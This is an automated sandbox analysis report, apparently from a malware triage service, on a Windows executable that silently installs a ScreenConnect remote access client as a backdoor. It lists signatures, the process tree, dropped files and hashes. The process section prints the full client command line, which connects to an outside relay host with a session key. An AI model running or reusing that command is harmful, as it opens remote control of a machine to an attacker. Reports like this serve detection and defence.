Analysis

  • max time kernel
    148s
  • max time network
    146s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/07/2026, 18:12

General

  • Target
    2026-07-20_0a2af8275a00ee14f4b092b59fee91dd_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
  • Size 5.2MB
  • Sample260720-ws7jdsay2j
  • SHA256 b90c95506e419e3aa67c209264e0477d72441204a5c28d13b0cdbeb3564c4841
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 20 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 6 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 14 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-20_0a2af8275a00ee14f4b092b59fee91dd_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-20_0a2af8275a00ee14f4b092b59fee91dd_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3524
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\2193c26f86d1a74a\setup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:4716
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4376
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 6B0EBB8DC96BD5EAB171B7264DC62840 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2564
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIFE50.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240713406 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5412
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:5280
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 5181A674C6C6A882BBF745CD5B5A7575
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1716
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 9BE5DA1A556A33FE4C72F77AE57F4F28 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1680
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:3476
    • C:\Program Files (x86)\ScreenConnect Client (2193c26f86d1a74a)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (2193c26f86d1a74a)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=sc.dlit.co.za&p=443&s=a3925617-1e24-4dea-96f9-adaa5d2c3b38&k=BgIAAACkAABSU0ExAAgAAAEAAQDXh2scSqIQLRjLNttRkd5YJYJkbfd7r9nlbtW7WbeJiWHgQnF0Xy4mfTeQZ38uViGFYfPECYgu2U04D3wu1dJ3Zr4c8GEPFby0Vg5RyYvJlgvgQ2zhjgsxcUrK%2bEtbtS2S5f8Iu%2foycwnEhjyrXxuXRCvq7G9Z9pNMIe7F8y4BVitczM6%2bBL9fmblxY8SGLLXLm5YjtIANy%2f5HYAbEaZkFKPj8h9LnHMISdFrK629VzU%2flQrn%2b5ThiI6WImcLmTiAKGh1%2f4Cr3tYxjDnbH2dgcys1bewnSBZKgJlmfzEi7ytdkDRGnAAJ352gehoMmQtrH043uhtmR8aBhWDGpDWG1&t=SNIB%20SERVER&c=SNIB&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:700
      • C:\Program Files (x86)\ScreenConnect Client (2193c26f86d1a74a)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (2193c26f86d1a74a)\ScreenConnect.WindowsClient.exe" "RunRole" "ea6350fb-b575-4ddb-bef3-2f0709bb53ee" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:3624
      • C:\Program Files (x86)\ScreenConnect Client (2193c26f86d1a74a)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (2193c26f86d1a74a)\ScreenConnect.WindowsClient.exe" "RunRole" "a15cc008-837f-4e65-8413-43aca2dbeae8" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        • Suspicious behavior: AddClipboardFormatListener
        PID:2656

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          e594fae.rbs

          • Path C:\Config.Msi\e594fae.rbs
          • Size 213KB
          • SHA256 79b25c59d70cae9fd4345443a08dc24622f7382e84d60daa2bd266bf46205953
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (2193c26f86d1a74a)\Client.Override.en-US.resources
          • Size 180B
          • SHA256 e13ed2c59366d0eea74863fd71a81f0cb977cce1edfde304fc538690a4f6ac89
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (2193c26f86d1a74a)\Client.Override.resources
          • Size 4KB
          • SHA256 c3a78ac93d223649d69f208e659eaee740a86e86126f40981d6256935374e081
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (2193c26f86d1a74a)\Client.en-US.resources
          • Size 47KB
          • SHA256 2d88b97d28be01abca4544c6381a4370c1a1ce05142c176742f13b44889ddf90
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (2193c26f86d1a74a)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (2193c26f86d1a74a)\ScreenConnect.Client.dll
          • Size 188KB
          • SHA256 18985b4ce74edd7e7472fc943b28fd6774d4ce240d25f9349fb819bd594dcbc9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (2193c26f86d1a74a)\ScreenConnect.ClientService.dll
          • Size 60KB
          • SHA256 dfc0d0a4acdb233f409028fb6ba5ecc5d6b50acacf3931477103c502c4e6b2a1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (2193c26f86d1a74a)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 6ffba98a58e0044b4c3468855929fb5c1de040a82514a0fefbe089bd45183e7d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (2193c26f86d1a74a)\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 e0946df5fdf760dba7ac02a8e0cd8095984ce4f3eaf9862ac034b4b09d35d8bb
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (2193c26f86d1a74a)\ScreenConnect.WindowsClient.exe
          • Size 573KB
          • SHA256 11195d57abd9dc0ce6d69cf039a71d0a7a7872e581d12fad7f5edcf00343cb2e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (2193c26f86d1a74a)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (2193c26f86d1a74a)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 746KB
          • SHA256 62b405f32a43da0c8e8ed14a58ec7b9b4422b154bfd4aed4f9be5de0bc6eb5e8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (2193c26f86d1a74a)\app.config
          • Size 468B
          • SHA256 e98dd5766ddec1918db694ba37c69915539745bf98103594c65e37085b0cc724
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (2193c26f86d1a74a)\system.config
          • Size 932B
          • SHA256 880d4748fc7035bd9b1b585f0c2523fc188733ce9d5fb42371496211023fba9b
          • MD5 SHA1 SHA512 TLSH

          MSIFE50.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIFE50.tmp
          • Size 1019KB
          • SHA256 a4db052d43f5666091526e49b3c015ef5639cb4f2e916b9eefde26a1e01008ba
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIFE50.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIFE50.tmp-\ScreenConnect.Core.dll
          • Size 519KB
          • SHA256 8669dc47adf5630d7d05252ce07b4c42aad1368426938fa244b6fbb39280459b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIFE50.tmp-\ScreenConnect.InstallerActions.dll
          • Size 21KB
          • SHA256 7b61590a2c2379f616767596bd3f8eaf2649944f0fd377a7d5511a27ebe0f6a5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          setup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\2193c26f86d1a74a\setup.msi
          • Size 12.0MB
          • SHA256 0e3f0561af810d6de2f9ad2c63b2a703f0efb8d87930b256fdaae7f15820ec9a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI54FD.tmp

          • Path C:\Windows\Installer\MSI54FD.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          cg1lcboo.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (2193c26f86d1a74a)\cg1lcboo.newcfg
          • Size 561B
          • SHA256 79024057facbff4437136ae893e65c951c2e7f132f4e22532f746e378b3fc94b
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (2193c26f86d1a74a)\user.config
          • Size 561B
          • SHA256 5de9363ec4c62f316d13496898e7970d3fb77948ac2af9c1534fb432e8343d01
          • MD5 SHA1 SHA512 TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 1ab09d5784343062b63230e7ac5e3523e056e9ed41e28eae6bb0ea58d65269b2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {2ba6c62e-f463-432f-88ab-ed9e94c38c25}_OnDiskSnapshotProp

          • Path \??\Volume{6392210f-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{2ba6c62e-f463-432f-88ab-ed9e94c38c25}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 7ce35f96cefdf3f30976e41a3c8b3a1eacb66c6bbf718c6c5cb1f748a4f16d3c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/700-86-0x0000000004470000-0x000000000461A000-memory.dmp

          memory/700-87-0x0000000004BE0000-0x000000000519A000-memory.dmp

          memory/700-108-0x00000000047A0000-0x000000000485E000-memory.dmp

          memory/700-77-0x0000000001BB0000-0x0000000001BC6000-memory.dmp

          memory/700-100-0x0000000004410000-0x0000000004460000-memory.dmp

          memory/700-106-0x0000000004700000-0x0000000004792000-memory.dmp

          memory/700-105-0x0000000004620000-0x0000000004656000-memory.dmp

          memory/3524-0-0x0000000074D22000-0x0000000074D23000-memory.dmp

          memory/3524-7-0x0000000074D10000-0x00000000754CC000-memory.dmp

          memory/3524-6-0x0000000074D10000-0x00000000754CC000-memory.dmp

          memory/3524-5-0x0000000002E60000-0x0000000002E82000-memory.dmp

          memory/3524-3-0x0000000074D10000-0x00000000754CC000-memory.dmp

          memory/3524-4-0x0000000002DD0000-0x0000000002E58000-memory.dmp

          memory/3524-8-0x0000000074D10000-0x00000000754CC000-memory.dmp

          memory/3524-2-0x00000000054E0000-0x00000000057AA000-memory.dmp

          memory/3524-1-0x0000000000DE0000-0x0000000000DE8000-memory.dmp

          memory/3524-10-0x0000000074D10000-0x00000000754CC000-memory.dmp

          memory/3624-116-0x0000000000C70000-0x0000000000D04000-memory.dmp

          memory/3624-119-0x000000001BF70000-0x000000001C11A000-memory.dmp

          memory/3624-122-0x000000001C120000-0x000000001C2A8000-memory.dmp

          memory/3624-118-0x000000001BD30000-0x000000001BDB8000-memory.dmp

          memory/3624-123-0x0000000002E30000-0x0000000002E46000-memory.dmp

          memory/3624-124-0x0000000002EB0000-0x0000000002EC6000-memory.dmp

          memory/3624-117-0x0000000002E70000-0x0000000002EA6000-memory.dmp

          memory/5412-35-0x0000000005EA0000-0x0000000005F28000-memory.dmp

          memory/5412-27-0x0000000003DB0000-0x0000000003DDE000-memory.dmp

          memory/5412-31-0x0000000003DF0000-0x0000000003DFC000-memory.dmp